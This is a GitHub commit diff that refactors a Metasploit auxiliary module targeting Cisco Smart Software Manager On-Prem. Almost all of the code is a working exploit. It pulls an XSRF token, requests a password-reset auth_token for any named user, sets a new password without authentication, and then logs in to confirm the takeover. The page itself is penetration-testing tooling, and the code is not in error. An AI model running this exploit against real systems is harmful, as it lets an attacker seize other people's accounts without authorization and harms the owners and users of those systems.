Skip to content

Commit 322188a

Browse files
committed
Refactoring
Refactored code to remove duplicate requests
1 parent 05f591d commit 322188a

File tree

1 file changed

+29
-80
lines changed

1 file changed

+29
-80
lines changed

modules/auxiliary/admin/http/cisco_ssm_onprem_account.rb

Lines changed: 29 additions & 80 deletions
Original file line numberDiff line numberDiff line change
@@ -40,8 +40,8 @@ def initialize(info = {})
4040
])
4141
end
4242

43-
def check
44-
# 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
43+
# 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
44+
def xsrf_token_value
4545
res = send_request_cgi(
4646
'method' => 'GET',
4747
'keep_cookies' => true,
@@ -59,8 +59,11 @@ def check
5959

6060
decoded_xsrf_token = decode_url(xsrf_token_value)
6161
print_good("Retrieved XSRF Token: #{decoded_xsrf_token}")
62+
decoded_xsrf_token
63+
end
6264

63-
# 2) Request generate_code to retrieve auth_token
65+
# 2) Request generate_code to retrieve auth_token
66+
def auth_token(decoded_xsrf_token)
6467
payload = {
6568
uid: datastore['USER']
6669
}.to_json
@@ -86,8 +89,11 @@ def check
8689
end
8790

8891
auth_token = json['auth_token']
92+
auth_token
93+
end
8994

90-
# 3) Request reset_password to change the password of the specified user
95+
# 3) Request reset_password to change the password of the specified user
96+
def reset_password(decoded_xsrf_token, auth_token)
9197
payload = {
9298
uid: datastore['USER'],
9399
auth_token: auth_token,
@@ -110,9 +116,22 @@ def check
110116
fail_with(Failure::UnexpectedReply, 'Password reset attempt failed') unless res&.code == 200
111117

112118
json = res.get_json_document
113-
if json.key?('error')
119+
json
120+
end
121+
122+
def check
123+
@xsrf_token_value = xsrf_token_value
124+
return Exploit::CheckCode::Unknown('Unable to determine the version (xsrf_token_value missing).') unless @xsrf_token_value
125+
126+
@auth_token = auth_token(@xsrf_token_value)
127+
return Exploit::CheckCode::Unknown('Unable to determine the version (auth_token missing).') unless @auth_token
128+
129+
@reset_password = reset_password(@xsrf_token_value, @auth_token)
130+
return Exploit::CheckCode::Unknown('Unable to determine the version (reset_password failed).') unless @reset_password
131+
132+
if @reset_password.key?('error')
114133
return Exploit::CheckCode::Safe
115-
elsif json.key?('status')
134+
elsif @reset_password.key?('status')
116135
return Exploit::CheckCode::Appears
117136
end
118137

@@ -126,79 +145,9 @@ def decode_url(encoded_string)
126145
end
127146

128147
def run
129-
# 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
130-
res = send_request_cgi(
131-
'method' => 'GET',
132-
'keep_cookies' => true,
133-
'uri' => normalize_uri(target_uri.path, 'backend/settings/oauth_adfs'),
134-
'vars_get' => {
135-
'hostname' => Rex::Text.rand_text_alpha(6..10)
136-
}
137-
)
138-
139-
fail_with(Failure::UnexpectedReply, 'Failed to get a 200 response from the server.') unless res&.code == 200
140-
print_good('Server reachable.')
141-
142-
# Extract XSRF-TOKEN value
143-
xsrf_token_value = res.get_cookies.scan(/XSRF-TOKEN=([^;]*)/).flatten[0]
144-
fail_with(Failure::UnexpectedReply, 'XSRF Token not found') unless xsrf_token_value
145-
146-
decoded_xsrf_token = decode_url(xsrf_token_value)
147-
print_good("Retrieved XSRF Token: #{decoded_xsrf_token}")
148-
149-
# 2) Request generate_code to retrieve auth_token
150-
payload = {
151-
uid: datastore['USER']
152-
}.to_json
153-
154-
res = send_request_cgi({
155-
'method' => 'POST',
156-
'ctype' => 'application/json',
157-
'keep_cookies' => true,
158-
'headers' => {
159-
'X-Xsrf-Token' => decoded_xsrf_token
160-
},
161-
'uri' => normalize_uri(target_uri.path, 'backend/reset_password/generate_code'),
162-
'data' => payload
163-
})
164-
165-
fail_with(Failure::UnexpectedReply, 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response') unless res&.code == 200
166-
167-
json = res.get_json_document
168-
if json.key?('error_message')
169-
fail_with(Failure::UnexpectedReply, json['error_message'])
170-
elsif json.key?('auth_token')
171-
print_good('Retrieved auth_token: ' + json['auth_token'])
172-
end
173-
174-
auth_token = json['auth_token']
175-
176-
# 3) Request reset_password to change the password of the specified user
177-
payload = {
178-
uid: datastore['USER'],
179-
auth_token: auth_token,
180-
password: datastore['NEW_PASSWORD'],
181-
password_confirmation: datastore['NEW_PASSWORD'],
182-
common_name: ''
183-
}.to_json
184-
185-
res = send_request_cgi({
186-
'method' => 'POST',
187-
'ctype' => 'application/json',
188-
'keep_cookies' => true,
189-
'headers' => {
190-
'X-Xsrf-Token' => decoded_xsrf_token
191-
},
192-
'uri' => normalize_uri(target_uri.path, 'backend/reset_password'),
193-
'data' => payload
194-
})
195-
196-
fail_with(Failure::UnexpectedReply, 'Password reset attempt failed') unless res&.code == 200
197-
198-
json = res.get_json_document
199-
if json.key?('error_message')
200-
fail_with(Failure::UnexpectedReply, json['error_message'])
201-
end
148+
@xsrf_token_value ||= xsrf_token_value
149+
@auth_token ||= auth_token(@xsrf_token_value)
150+
@reset_password ||= reset_password(@xsrf_token_value, @auth_token)
202151

203152
# 4) Confirm that we can authenticate with the new password
204153
payload = {
@@ -211,7 +160,7 @@ def run
211160
'ctype' => 'application/json',
212161
'keep_cookies' => true,
213162
'headers' => {
214-
'X-Xsrf-Token' => decoded_xsrf_token,
163+
'X-Xsrf-Token' => @xsrf_token_value,
215164
'Accept' => 'application/json'
216165
},
217166
'uri' => normalize_uri(target_uri.path, 'backend/auth/identity/callback'),

0 commit comments

Comments
 (0)